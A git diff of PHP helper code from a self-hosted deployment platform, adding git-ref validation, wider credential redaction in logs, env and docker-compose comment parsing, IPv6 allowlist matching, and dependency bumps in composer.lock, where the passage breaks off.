a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index ac52c0af8..cf9f648bb 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -4,6 +4,7 @@ use App\Enums\ProxyTypes; use App\Models\Application; use App\Models\Server; +use Illuminate\Support\Facades\Log; use Symfony\Component\Yaml\Yaml; /** @@ -215,6 +216,13 @@ function extractCustomProxyCommands(Server $server, string $existing_config): ar } function generateDefaultProxyConfiguration(Server $server, array $custom_commands = []) { + Log::info('Generating default proxy configuration', [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'custom_commands_count' => count($custom_commands), + 'caller' => debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3)[1]['class'] ?? 'unknown', + ]); + $proxy_path = $server->proxyPath(); $proxy_type = $server->proxyType(); diff --git a/bootstrap/helpers/remoteProcess.php b/bootstrap/helpers/remoteProcess.php index 217c82929..f819df380 100644 --- a/bootstrap/helpers/remoteProcess.php +++ b/bootstrap/helpers/remoteProcess.php @@ -275,9 +275,9 @@ function remove_iip($text) // ANSI color codes $text = preg_replace('/\x1b\[[0-9;]*m/', '', $text); - // Generic URLs with passwords (covers database URLs, ftp, amqp, ssh, etc.) + // Generic URLs with passwords (covers database URLs, ftp, amqp, ssh, git basic auth, etc.) // (protocol://user:password@host → protocol://user:@host) - $text = preg_replace('/((?:postgres|mysql|mongodb|rediss?|mariadb|ftp|sftp|ssh|amqp|amqps|ldap|ldaps|s3):\/\/[^:]+:)[^@]+(@)/i', '$1'.REDACTED.'$2', $text); + $text = preg_replace('/((?:https?|postgres|mysql|mongodb|rediss?|mariadb|ftp|sftp|ssh|amqp|amqps|ldap|ldaps|s3):\/\/[^:]+:)[^@]+(@)/i', '$1'.REDACTED.'$2', $text); // Email addresses $text = preg_replace('/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/', REDACTED, $text); diff --git a/bootstrap/helpers/services.php b/bootstrap/helpers/services.php index 3d2b61b86..20b184a01 100644 --- a/bootstrap/helpers/services.php +++ b/bootstrap/helpers/services.php @@ -17,9 +17,123 @@ function collectRegex(string $name) { return "/{$name}\w+/"; } + +/** + * Extract content between balanced braces, handling nested braces properly. + * + * @param string $str The string to search + * @param int $startPos Position to start searching from + * @return array|null Array with 'content', 'start', and 'end' keys, or null if no balanced braces found + */ +function extractBalancedBraceContent(string $str, int $startPos = 0): ?array +{ + // Find opening brace + if ($startPos >= strlen($str)) { + return null; + } + $openPos = strpos($str, '{', $startPos); + if ($openPos === false) { + return null; + } + + // Track depth to find matching closing brace + $depth = 1; + $pos = $openPos + 1; + $len = strlen($str); + + while ($pos < $len && $depth > 0) { + if ($str[$pos] === '{') { + $depth++; + } elseif ($str[$pos] === '}') { + $depth--; + } + $pos++; + } + + if ($depth !== 0) { + // Unbalanced braces + return null; + } + + return [ + 'content' => substr($str, $openPos + 1, $pos - $openPos - 2), + 'start' => $openPos, + 'end' => $pos - 1, + ]; +} + +/** + * Split variable expression on operators (:-, -, :?, ?) while respecting nested braces. + * + * @param string $content The content to split (without outer ${...}) + * @return array|null Array with 'variable', 'operator', and 'default' keys, or null if no operator found + */ +function splitOnOperatorOutsideNested(string $content): ?array +{ + $operators = [':-', '-', ':?', '?']; + $depth = 0; + $len = strlen($content); + + for ($i = 0; $i < $len; $i++) { + if ($content[$i] === '{') { + $depth++; + } elseif ($content[$i] === '}') { + $depth--; + } elseif ($depth === 0) { + // Check for operators only at depth 0 (outside nested braces) + foreach ($operators as $op) { + if (substr($content, $i, strlen($op)) === $op) { + return [ + 'variable' => substr($content, 0, $i), + 'operator' => $op, + 'default' => substr($content, $i + strlen($op)), + ]; + } + } + } + } + + return null; +} + function replaceVariables(string $variable): Stringable { - return str($variable)->before('}')->replaceFirst('$', '')->replaceFirst('{', ''); + // Handle ${VAR} syntax with proper brace matching + $str = str($variable); + + // Handle ${VAR} format + if ($str->startsWith('${')) { + $result = extractBalancedBraceContent($variable, 0); + if ($result !== null) { + return str($result['content']); + } + + // Fallback to old behavior for malformed input + return $str->before('}')->replaceFirst('$', '')->replaceFirst('{', ''); + } + + // Handle {VAR} format (from regex capture group without $) + if ($str->startsWith('{') && $str->endsWith('}')) { + return str(substr($variable, 1, -1)); + } + + // Handle {VAR format (from regex capture group, may be truncated) + if ($str->startsWith('{')) { + $result = extractBalancedBraceContent('$'.$variable, 0); + if ($result !== null) { + return str($result['content']); + } + + // Fallback: remove { and get content before } + return $str->replaceFirst('{', '')->before('}'); + } + + // Handle bare $VAR format (no braces) + if ($str->startsWith('$')) { + return $str->replaceFirst('$', ''); + } + + return $str; } function getFilesystemVolumesFromServer(ServiceApplication|ServiceDatabase|Application $oneService, bool $isInit = false) diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 4372ff955..e81d2a467 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -8,6 +8,7 @@ use App\Models\ApplicationPreview; use App\Models\EnvironmentVariable; use App\Models\GithubApp; +use App\Models\GitlabApp; use App\Models\InstanceSettings; use App\Models\LocalFileVolume; use App\Models\LocalPersistentVolume; @@ -147,6 +148,39 @@ function validateShellSafePath(string $input, string $context = 'path'): string return $input; } +/** + * Validate that a string is a safe git ref (commit SHA, branch name, tag, or HEAD). + * + * Prevents command injection by enforcing an allowlist of characters valid for git refs. + * Valid: hex SHAs, HEAD, branch/tag names (alphanumeric, dots, hyphens, underscores, slashes). + * + * @param string $input The git ref to validate + * @param string $context Descriptive name for error messages + * @return string The validated input (trimmed) + * + * @throws \Exception If the input contains disallowed characters + */ +function validateGitRef(string $input, string $context = 'git ref'): string +{ + $input = trim($input); + + if ($input === '' || $input === 'HEAD') { + return $input; + } + + // Must not start with a hyphen (git flag injection) + if (str_starts_with($input, '-')) { + throw new \Exception("Invalid {$context}: must not start with a hyphen."); + } + + // Allow only alphanumeric characters, dots, hyphens, underscores, and slashes + if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/', $input)) { + throw new \Exception("Invalid {$context}: contains disallowed characters. Only alphanumeric characters, dots, hyphens, underscores, and slashes are allowed."); + } + + return $input; +} + function generate_readme_file(string $name, string $updated_at): string { $name = sanitize_string($name); @@ -448,19 +482,286 @@ function parseEnvFormatToArray($env_file_contents) $equals_pos = strpos($line, '='); if ($equals_pos !== false) { $key = substr($line, 0, $equals_pos); - $value = substr($line, $equals_pos + 1); - if (substr($value, 0, 1) === '"' && substr($value, -1) === '"') { - $value = substr($value, 1, -1); - } elseif (substr($value, 0, 1) === "'" && substr($value, -1) === "'") { - $value = substr($value, 1, -1); + $value_and_comment = substr($line, $equals_pos + 1); + $comment = null; + $remainder = ''; + + // Check if value starts with quotes + $firstChar = $value_and_comment[0] ?? ''; + $isDoubleQuoted = $firstChar === '"'; + $isSingleQuoted = $firstChar === "'"; + + if ($isDoubleQuoted) { + // Find the closing double quote + $closingPos = strpos($value_and_comment, '"', 1); + if ($closingPos !== false) { + // Extract quoted value and remove quotes + $value = substr($value_and_comment, 1, $closingPos - 1); + // Everything after closing quote (including comments) + $remainder = substr($value_and_comment, $closingPos + 1); + } else { + // No closing quote - treat as unquoted + $value = substr($value_and_comment, 1); + } + } elseif ($isSingleQuoted) { + // Find the closing single quote + $closingPos = strpos($value_and_comment, "'", 1); + if ($closingPos !== false) { + // Extract quoted value and remove quotes + $value = substr($value_and_comment, 1, $closingPos - 1); + // Everything after closing quote (including comments) + $remainder = substr($value_and_comment, $closingPos + 1); + } else { + // No closing quote - treat as unquoted + $value = substr($value_and_comment, 1); + } + } else { + // Unquoted value - strip inline comments + // Only treat # as comment if preceded by whitespace + if (preg_match('/\s+#/', $value_and_comment, $matches, PREG_OFFSET_CAPTURE)) { + // Found whitespace followed by #, extract comment + $remainder = substr($value_and_comment, $matches[0][1]); + $value = substr($value_and_comment, 0, $matches[0][1]); + $value = rtrim($value); + } else { + $value = $value_and_comment; + } } - $env_array[$key] = $value; + + // Extract comment from remainder (if any) + if ($remainder !== '') { + // Look for # in remainder + $hashPos = strpos($remainder, '#'); + if ($hashPos !== false) { + // Extract everything after the # and trim + $comment = substr($remainder, $hashPos + 1); + $comment = trim($comment); + // Set to null if empty after trimming + if ($comment === '') { + $comment = null; + } + } + } + + $env_array[$key] = [ + 'value' => $value, + 'comment' => $comment, + ]; } } return $env_array; } +/** + * Extract inline comments from environment variables in raw docker-compose YAML. + * + * Parses raw docker-compose YAML to extract inline comments from environment sections. + * Standard YAML parsers discard comments, so this pre-processes the raw text. + * + * Handles both formats: + * - Map format: `KEY: "value" # comment` or `KEY: value # comment` + * - Array format: `- KEY=value # comment` + * + * @param string $rawYaml The raw docker-compose.yml content + * @return array Map of environment variable keys to their inline comments + */ +function extractYamlEnvironmentComments(string $rawYaml): array +{ + $comments = []; + $lines = explode("\n", $rawYaml); + $inEnvironmentBlock = false; + $environmentIndent = 0; + + foreach ($lines as $line) { + // Skip empty lines + if (trim($line) === '') { + continue; + } + + // Calculate current line's indentation (number of leading spaces) + $currentIndent = strlen($line) - strlen(ltrim($line)); + + // Check if this line starts an environment block + if (preg_match('/^(\s*)environment\s*:\s*$/', $line, $matches)) { + $inEnvironmentBlock = true; + $environmentIndent = strlen($matches[1]); + + continue; + } + + // Check if this line starts an environment block with inline content (rare but possible) + if (preg_match('/^(\s*)environment\s*:\s*\{/', $line)) { + // Inline object format - not supported for comment extraction + continue; + } + + // If we're in an environment block, check if we've exited it + if ($inEnvironmentBlock) { + // If we hit a line with same or less indentation that's not empty, we've left the block + // Unless it's a continuation of the environment block + $trimmedLine = ltrim($line); + + // Check if this is a new top-level key (same indent as 'environment:' or less) + if ($currentIndent <= $environmentIndent && ! str_starts_with($trimmedLine, '-') && ! str_starts_with($trimmedLine, '#')) { + // Check if it looks like a YAML key (contains : not inside quotes) + if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*\s*:/', $trimmedLine)) { + $inEnvironmentBlock = false; + + continue; + } + } + + // Skip comment-only lines + if (str_starts_with($trimmedLine, '#')) { + continue; + } + + // Try to extract environment variable and comment from this line + $extracted = extractEnvVarCommentFromYamlLine($trimmedLine); + if ($extracted !== null && $extracted['comment'] !== null) { + $comments[$extracted['key']] = $extracted['comment']; + } + } + } + + return $comments; +} + +/** + * Extract environment variable key and inline comment from a single YAML line. + * + * @param string $line A trimmed line from the environment section + * @return array|null Array with 'key' and 'comment', or null if not an env var line + */ +function extractEnvVarCommentFromYamlLine(string $line): ?array +{ + $key = null; + $comment = null; + + // Handle array format: `- KEY=value # comment` or `- KEY # comment` + if (str_starts_with($line, '-')) { + $content = ltrim(substr($line, 1)); + + // Check for KEY=value format + if (preg_match('/^([A-Za-z_][A-Za-z0-9_]*)/', $content, $keyMatch)) { + $key = $keyMatch[1]; + // Find comment - need to handle quoted values + $comment = extractCommentAfterValue($content); + } + } + // Handle map format: `KEY: "value" # comment` or `KEY: value # comment` + elseif (preg_match('/^([A-Za-z_][A-Za-z0-9_]*)\s*:/', $line, $keyMatch)) { + $key = $keyMatch[1]; + // Get everything after the key and colon + $afterKey = substr($line, strlen($keyMatch[0])); + $comment = extractCommentAfterValue($afterKey); + } + + if ($key === null) { + return null; + } + + return [ + 'key' => $key, + 'comment' => $comment, + ]; +} + +/** + * Extract inline comment from a value portion of a YAML line. + * + * Handles quoted values (where # inside quotes is not a comment). + * + * @param string $valueAndComment The value portion (may include comment) + * @return string|null The comment text, or null if no comment + */ +function extractCommentAfterValue(string $valueAndComment): ?string +{ + $valueAndComment = ltrim($valueAndComment); + + if ($valueAndComment === '') { + return null; + } + + $firstChar = $valueAndComment[0] ?? ''; + + // Handle case where value is empty and line starts directly with comment + // e.g., `KEY: # comment` becomes `# comment` after ltrim + if ($firstChar === '#') { + $comment = trim(substr($valueAndComment, 1)); + + return $comment !== '' ? $comment : null; + } + + // Handle double-quoted value + if ($firstChar === '"') { + // Find closing quote (handle escaped quotes) + $pos = 1; + $len = strlen($valueAndComment); + while ($pos < $len) { + if ($valueAndComment[$pos] === '\\' && $pos + 1 < $len) { + $pos += 2; // Skip escaped character + + continue; + } + if ($valueAndComment[$pos] === '"') { + // Found closing quote + $remainder = substr($valueAndComment, $pos + 1); + + return extractCommentFromRemainder($remainder); + } + $pos++; + } + + // No closing quote found + return null; + } + + // Handle single-quoted value + if ($firstChar === "'") { + // Find closing quote (single quotes don't have escapes in YAML) + $closingPos = strpos($valueAndComment, "'", 1); + if ($closingPos !== false) { + $remainder = substr($valueAndComment, $closingPos + 1); + + return extractCommentFromRemainder($remainder); + } + + // No closing quote found + return null; + } + + // Unquoted value - find # that's preceded by whitespace + // Be careful not to match # at the start of a value like color codes + if (preg_match('/\s+#\s*(.*)$/', $valueAndComment, $matches)) { + $comment = trim($matches[1]); + + return $comment !== '' ? $comment : null; + } + + return null; +} + +/** + * Extract comment from the remainder of a line after a quoted value. + * + * @param string $remainder Text after the closing quote + * @return string|null The comment text, or null if no comment + */ +function extractCommentFromRemainder(string $remainder): ?string +{ + // Look for # in remainder + $hashPos = strpos($remainder, '#'); + if ($hashPos !== false) { + $comment = trim(substr($remainder, $hashPos + 1)); + + return $comment !== '' ? $comment : null; + } + + return null; +} + function data_get_str($data, $key, $default = null): Stringable { $str = data_get($data, $key, $default) ?? $default; @@ -1149,24 +1450,48 @@ function checkIPAgainstAllowlist($ip, $allowlist) } $mask = (int) $mask; + $isIpv6Subnet = filter_var($subnet, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6Subnet ? 128 : 32; - // Validate mask - if ($mask < 0 || $mask > 32) { + // Validate mask for address family + if ($mask < 0 || $mask > $maxMask) { continue; } - // Calculate network addresses - $ip_long = ip2long($ip); - $subnet_long = ip2long($subnet); + if ($isIpv6Subnet) { + // IPv6 CIDR matching using binary string comparison + $ipBin = inet_pton($ip); + $subnetBin = inet_pton($subnet); - if ($ip_long === false || $subnet_long === false) { - continue; - } + if ($ipBin === false || $subnetBin === false) { + continue; + } - $mask_long = ~((1 << (32 - $mask)) - 1); + // Build a 128-bit mask from $mask prefix bits + $maskBin = str_repeat("\xff", (int) ($mask / 8)); + $remainder = $mask % 8; + if ($remainder > 0) { + $maskBin .= chr(0xFF & (0xFF << (8 - $remainder))); + } + $maskBin = str_pad($maskBin, 16, "\x00"); - if (($ip_long & $mask_long) == ($subnet_long & $mask_long)) { - return true; + if (($ipBin & $maskBin) === ($subnetBin & $maskBin)) { + return true; + } + } else { + // IPv4 CIDR matching + $ip_long = ip2long($ip); + $subnet_long = ip2long($subnet); + + if ($ip_long === false || $subnet_long === false) { + continue; + } + + $mask_long = ~((1 << (32 - $mask)) - 1); + + if (($ip_long & $mask_long) == ($subnet_long & $mask_long)) { + return true; + } } } else { // Special case: 0.0.0.0 means allow all @@ -1184,6 +1509,67 @@ function checkIPAgainstAllowlist($ip, $allowlist) return false; } +function deduplicateAllowlist(array $entries): array +{ + if (count($entries) <= 1) { + return array_values($entries); + } + + // Normalize each entry into [original, ip, mask] + $parsed = []; + foreach ($entries as $entry) { + $entry = trim($entry); + if (empty($entry)) { + continue; + } + + if ($entry === '0.0.0.0') { + // Special case: bare 0.0.0.0 means "allow all" — treat as /0 + $parsed[] = ['original' => $entry, 'ip' => '0.0.0.0', 'mask' => 0]; + } elseif (str_contains($entry, '/')) { + [$ip, $mask] = explode('/', $entry); + $parsed[] = ['original' => $entry, 'ip' => $ip, 'mask' => (int) $mask]; + } else { + $ip = $entry; + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $parsed[] = ['original' => $entry, 'ip' => $ip, 'mask' => $isIpv6 ? 128 : 32]; + } + } + + $count = count($parsed); + $redundant = array_fill(0, $count, false); + + for ($i = 0; $i < $count; $i++) { + if ($redundant[$i]) { + continue; + } + + for ($j = 0; $j < $count; $j++) { + if ($i === $j || $redundant[$j]) { + continue; + } + + // Entry $j is redundant if its mask is narrower/equal (>=) than $i's mask + // AND $j's network IP falls within $i's CIDR range + if ($parsed[$j]['mask'] >= $parsed[$i]['mask']) { + $cidr = $parsed[$i]['ip'].'/'.$parsed[$i]['mask']; + if (checkIPAgainstAllowlist($parsed[$j]['ip'], [$cidr])) { + $redundant[$j] = true; + } + } + } + } + + $result = []; + for ($i = 0; $i < $count; $i++) { + if (! $redundant[$i]) { + $result[] = $parsed[$i]['original']; + } + } + + return $result; +} + function get_public_ips() { try { @@ -1317,6 +1703,9 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal { if ($resource->getMorphClass() === \App\Models\Service::class) { if ($resource->docker_compose_raw) { + // Extract inline comments from raw YAML before Symfony parser discards them + $envComments = extractYamlEnvironmentComments($resource->docker_compose_raw); + try { $yaml = Yaml::parse($resource->docker_compose_raw); } catch (\Exception $e) { @@ -1348,7 +1737,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal } $topLevelVolumes = collect($tempTopLevelVolumes); } - $services = collect($services)->map(function ($service, $serviceName) use ($topLevelVolumes, $topLevelNetworks, $definedNetwork, $isNew, $generatedServiceFQDNS, $resource, $allServices) { + $services = collect($services)->map(function ($service, $serviceName) use ($topLevelVolumes, $topLevelNetworks, $definedNetwork, $isNew, $generatedServiceFQDNS, $resource, $allServices, $envComments) { // Workarounds for beta users. if ($serviceName === 'registry') { $tempServiceName = 'docker-registry'; @@ -1694,6 +2083,8 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal $key = str($variableName); $value = str($variable); } + // Preserve original key for comment lookup before $key might be reassigned + $originalKey = $key->value(); if ($key->startsWith('SERVICE_FQDN')) { if ($isNew || $savedService->fqdn === null) { $name = $key->after('SERVICE_FQDN_')->beforeLast('_')->lower(); @@ -1747,6 +2138,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } // Caddy needs exact port in some cases. @@ -1826,6 +2218,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } if (! $isDatabase) { @@ -1864,6 +2257,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } } @@ -1902,6 +2296,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, 'is_preview' => false, + 'comment' => $envComments[$originalKey] ?? null, ]); } } @@ -3128,7 +3523,7 @@ function defaultNginxConfiguration(string $type = 'static'): string } } -function convertGitUrl(string $gitRepository, string $deploymentType, ?GithubApp $source = null): array +function convertGitUrl(string $gitRepository, string $deploymentType, GithubApp|GitlabApp|null $source = null): array { $repository = $gitRepository; $providerInfo = [ @@ -3148,6 +3543,7 @@ function convertGitUrl(string $gitRepository, string $deploymentType, ?GithubApp // Let's try and fix that for known Git providers switch ($source->getMorphClass()) { case \App\Models\GithubApp::class: + case \App\Models\GitlabApp::class: $providerInfo['host'] = Url::fromString($source->html_url)->getHost(); $providerInfo['port'] = $source->custom_port; $providerInfo['user'] = $source->custom_user; @@ -3447,6 +3843,58 @@ function verifyPasswordConfirmation(mixed $password, ?Livewire\Component $compon return true; } +/** + * Extract hard-coded environment variables from docker-compose YAML. + * + * @param string $dockerComposeRaw Raw YAML content + * @return \Illuminate\Support\Collection Collection of arrays with: key, value, comment, service_name + */ +function extractHardcodedEnvironmentVariables(string $dockerComposeRaw): \Illuminate\Support\Collection +{ + if (blank($dockerComposeRaw)) { + return collect([]); + } + + try { + $yaml = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw); + } catch (\Exception $e) { + // Malformed YAML - return empty collection + return collect([]); + } + + $services = data_get($yaml, 'services', []); + if (empty($services)) { + return collect([]); + } + + // Extract inline comments from raw YAML + $envComments = extractYamlEnvironmentComments($dockerComposeRaw); + + $hardcodedVars = collect([]); + + foreach ($services as $serviceName => $service) { + $environment = collect(data_get($service, 'environment', [])); + + if ($environment->isEmpty()) { + continue; + } + + // Convert environment variables to key-value format + $environment = convertToKeyValueCollection($environment); + + foreach ($environment as $key => $value) { + $hardcodedVars->push([ + 'key' => $key, + 'value' => $value, + 'comment' => $envComments[$key] ?? null, + 'service_name' => $serviceName, + ]); + } + } + + return $hardcodedVars; +} + /** * Downsample metrics using the Largest-Triangle-Three-Buckets (LTTB) algorithm. * This preserves the visual shape of the data better than simple averaging. @@ -3524,3 +3972,49 @@ function downsampleLTTB(array $data, int $threshold): array return $sampled; } + +/** + * Resolve shared environment variable patterns like {{environment.VAR}}, {{project.VAR}}, {{team.VAR}}. + * + * This is the canonical implementation used by both EnvironmentVariable::realValue and the compose parsers + * to ensure shared variable references are replaced with their actual values. + */ +function resolveSharedEnvironmentVariables(?string $value, $resource): ?string +{ + if (is_null($value) || $value === '' || is_null($resource)) { + return $value; + } + $value = trim($value); + $sharedEnvsFound = str($value)->matchAll('/{{(.*?)}}/'); + if ($sharedEnvsFound->isEmpty()) { + return $value; + } + foreach ($sharedEnvsFound as $sharedEnv) { + $type = str($sharedEnv)->trim()->match('/(.*?)\./'); + if (! collect(SHARED_VARIABLE_TYPES)->contains($type)) { + continue; + } + $variable = str($sharedEnv)->trim()->match('/\.(.*)/'); + $id = null; + if ($type->value() === 'environment') { + $id = $resource->environment->id; + } elseif ($type->value() === 'project') { + $id = $resource->environment->project->id; + } elseif ($type->value() === 'team') { + $id = $resource->team()->id; + } + if (is_null($id)) { + continue; + } + $found = \App\Models\SharedEnvironmentVariable::where('type', $type) + ->where('key', $variable) + ->where('team_id', $resource->team()->id) + ->where("{$type}_id", $id) + ->first(); + if ($found) { + $value = str($value)->replace("{{{$sharedEnv}}}", $found->value); + } + } + + return str($value)->value(); +} diff --git a/bootstrap/helpers/subscriptions.php b/bootstrap/helpers/subscriptions.php index 4b84fb7f6..709af854a 100644 --- a/bootstrap/helpers/subscriptions.php +++ b/bootstrap/helpers/subscriptions.php @@ -77,6 +77,7 @@ function allowedPathsForUnsubscribedAccounts() 'login', 'logout', 'force-password-reset', + 'two-factor-challenge', 'livewire/update', 'admin', ]; @@ -95,6 +96,7 @@ function allowedPathsForInvalidAccounts() 'logout', 'verify', 'force-password-reset', + 'two-factor-challenge', 'livewire/update', ]; } diff --git a/composer.json b/composer.json index fc71dea8f..d4fb1eb8e 100644 --- a/composer.json +++ b/composer.json @@ -54,7 +54,7 @@ "stevebauman/purify": "^6.3.1", "stripe/stripe-php": "^16.6.0", "symfony/yaml": "^7.4.1", - "visus/cuid2": "^4.1.0", + "visus/cuid2": "^6.0.0", "yosymfony/toml": "^1.0.4", "zircote/swagger-php": "^5.8.0" }, diff --git a/composer.lock b/composer.lock index 7c1e000e5..993835a42 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "21d43f41d2f2e275403e77ccc66ec553", + "content-hash": "19bb661d294e5cf623e68830604e4f60", "packages": [ { "name": "aws/aws-crt-php", @@ -62,16 +62,16 @@ }, { "name": "aws/aws-sdk-php", - "version": "3.369.26", + "version": "3.371.3", "source": { "type": "git", "url": "https://github.com/aws/aws-sdk-php.git", - "reference": "ad0916c6595d98f9052f60e1d7204f4740369e94" + "reference": "d300ec1c861e52dc8f17ca3d75dc754da949f065" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/ad0916c6595d98f9052f60e1d7204f4740369e94", - "reference": "ad0916c6595d98f9052f60e1d7204f4740369e94", + "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/d300ec1c861e52dc8f17ca3d75dc754da949f065", + "reference": "d300ec1c861e52dc8f17ca3d75dc754da949f065", "shasum": "" }, "require": { @@ -135,11 +135,11 @@ "authors": [ { "name": "Amazon Web Services", - "homepage": "http://aws.amazon.com" + "homepage": "https://aws.amazon.com" } ], "description": "AWS SDK for PHP - Use Amazon Web Services in your PHP project", - "homepage": "http://aws.amazon.com/sdkforphp", + "homepage": "https://aws.amazon.com/sdk-for-php", "keywords": [ "amazon", "aws", @@ -153,9 +153,9 @@ "support": { "forum": "https://github.com/aws/aws-sdk-php/discussions", "issues": "https://github.com/aws/aws-sdk-php/issues", - "source": "https://github.com/aws/aws-sdk-php/tree/3.369.26" + "source": "https://github.com/aws/aws-sdk-php/tree/3.371.3" }, - "time": "2026-02-03T19:16:42+00:00" + "time": "2026-02-27T19:05:40+00:00" }, { "name": "bacon/bacon-qr-code", @@ -214,16 +214,16 @@ }, { "name": "brick/math", - "version": "0.14.5", + "version": "0.14.8", "source": { "type": "git", "url": "https://github.com/brick/math.git", - "reference": "618a8077b3c326045e10d5788ed713b341fcfe40" + "reference": "63422359a44b7f06cae63c3b429b59e8efcc0629" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/brick/math/zipball/618a8077b3c326045e10d5788ed713b341fcfe40", - "reference": "618a8077b3c326045e10d5788ed713b341fcfe40", + "url": "https://api.github.com/repos/brick/math/zipball/63422359a44b7f06cae63c3b429b59e8efcc0629", + "reference": "63422359a44b7f06cae63c3b429b59e8efcc0629", "shasum": "" }, "require": { @@ -262,7 +262,7 @@ ], "support": { "issues": "https://github.com/brick/math/issues", - "source": "https://github.com/brick/math/tree/0.14.5" + "source": "https://github.com/brick/math/tree/0.14.8" }, "funding": [ { @@ -270,7 +270,7 @@ "type": "github" } ], - "time": "2026-02-03T18:06:51+00:00" + "time": "2026-02-10T14:33:43+00:00" }, { "name": "carbonphp/carbon-doctrine-types", @@ -522,16 +522,16 @@ }, { "name": "doctrine/dbal", - "version": "4.4.1", + "version": "4.4.2", "source": { "type": "git", "url": "https://github.com/doctrine/dbal.git", - "reference": "3d544473fb93f5c25b483ea4f4ce99f8c4d9d44c" + "reference": "476f7f0fa6ea4aa5364926db7fabdf6049075722" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/doctrine/dbal/zipball/3d544473fb93f5c25b483ea4f4ce99f8c4d9d44c", - "reference": "3d544473fb93f5c25b483ea4f4ce99f8c4d9d44c", + "url": "https://api.github.com/repos/doctrine/dbal/zipball/476f7f0fa6ea4aa5364926db7fabdf6049075722", + "reference": "476f7f0fa6ea4aa5364926db7fabdf6049075722", "shasum": "" }, "require": { @@ -547,9 +547,9 @@ "phpstan/phpstan": "2.1.30", "phpstan/phpstan-phpunit": "2.0.7", "phpstan/phpstan-strict-rules": "^2", - "phpunit/phpunit": "11.5.23", - "slevomat/coding-standard": "8.24.0", - "squizlabs/php_codesniffer": "4.0.0", + "phpunit/phpunit": "11.5.50", + "slevomat/coding-standard": "8.27.1", + "squizlabs/php_codesniffer": "4.0.1", "symfony/cache": "^6.3.8|^7.0|^8.0", "symfony/console": "^5.4|^6.3|^7.0|^8.0" }, @@ -608,7 +608,7 @@ ], "support": { "issues": "https://github.com/doctrine/dbal/issues", - "source": "https://github.com/doctrine/dbal/tree/4.4.1" + "source": "https://github.com/doctrine/dbal/tree/4.4.2" }, "funding": [ { @@ -624,33 +624,33 @@ "type": "tidelift" } ], - "time": "2025-12-04T10:11:03+00:00" + "time": "2026-02-26T12:12:19+00:00" }, { "name": "doctrine/deprecations", - "version": "1.1.5", + "version": "1.1.6", "source": { "type": "git", "url": "https://github.com/doctrine/deprecations.git", - "reference": "459c2f5dd3d6a4633d3b5f46ee2b1c40f57d3f38" + "reference": "d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/doctrine/deprecations/zipball/459c2f5dd3d6a4633d3b5f46ee2b1c40f57d3f38", - "reference": "459c2f5dd3d6a4633d3b5f46ee2b1c40f57d3f38", + "url": "https://api.github.com/repos/doctrine/deprecations/zipball/d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca", + "reference": "d4fe3e6fd9bb9e72557a19674f44d8ac7db4c6ca", "shasum": "" }, "require": { "php": "^7.1 || ^8.0" }, "conflict": { - "phpunit/phpunit": "<=7.5 || >=13" + "phpunit/phpunit": "<=7.5 || >=14" }, "require-dev": { - "doctrine/coding-standard": "^9 || ^12 || ^13", - "phpstan/phpstan": "1.4.10 || 2.1.11", + "doctrine/coding-standard": "^9 || ^12 || ^14", + "phpstan/phpstan": "1.4.10 || 2.1.30", "phpstan/phpstan-phpunit": "^1.0 || ^2", - "phpunit/phpunit": "^7.5 || ^8.5 || ^9.6 || ^10.5 || ^11.5 || ^12", + "phpunit/phpunit": "^7.5 || ^8.5 || ^9.6 || ^10.5 || ^11.5 || ^12.4 || ^13.0", "psr/log": "^1 || ^2 || ^3" }, "suggest": { @@ -670,9 +670,9 @@ "homepage": "https://www.doctrine-project.org/", "support": { "issues": "https://github.com/doctrine/deprecations/issues", - "source": "https://github.com/doctrine/deprecations/tree/1.1.5" + "source": "https://github.com/doctrine/deprecations/tree/1.1.6" }, - "time": "2025-04-07T20:06:18+00:00" + "time": "2026-02-07T07:09:04+00:00" }, { "name": "doctrine/inflector", @@ -1035,16 +1035,16 @@ }, { "name": "firebase/php-jwt", - "version": "v7.0.2", + "version": "v7.0.3", "source": { "type": "git", "url": "https://github.com/firebase/php-jwt.git", - "reference": "5645b43af647b6947daac1d0f659dd1fbe8d3b65" + "reference": "28aa0694bcfdfa5e2959c394d5a1ee7a5083629e" }, "dist": { "type": "zip", - "url": 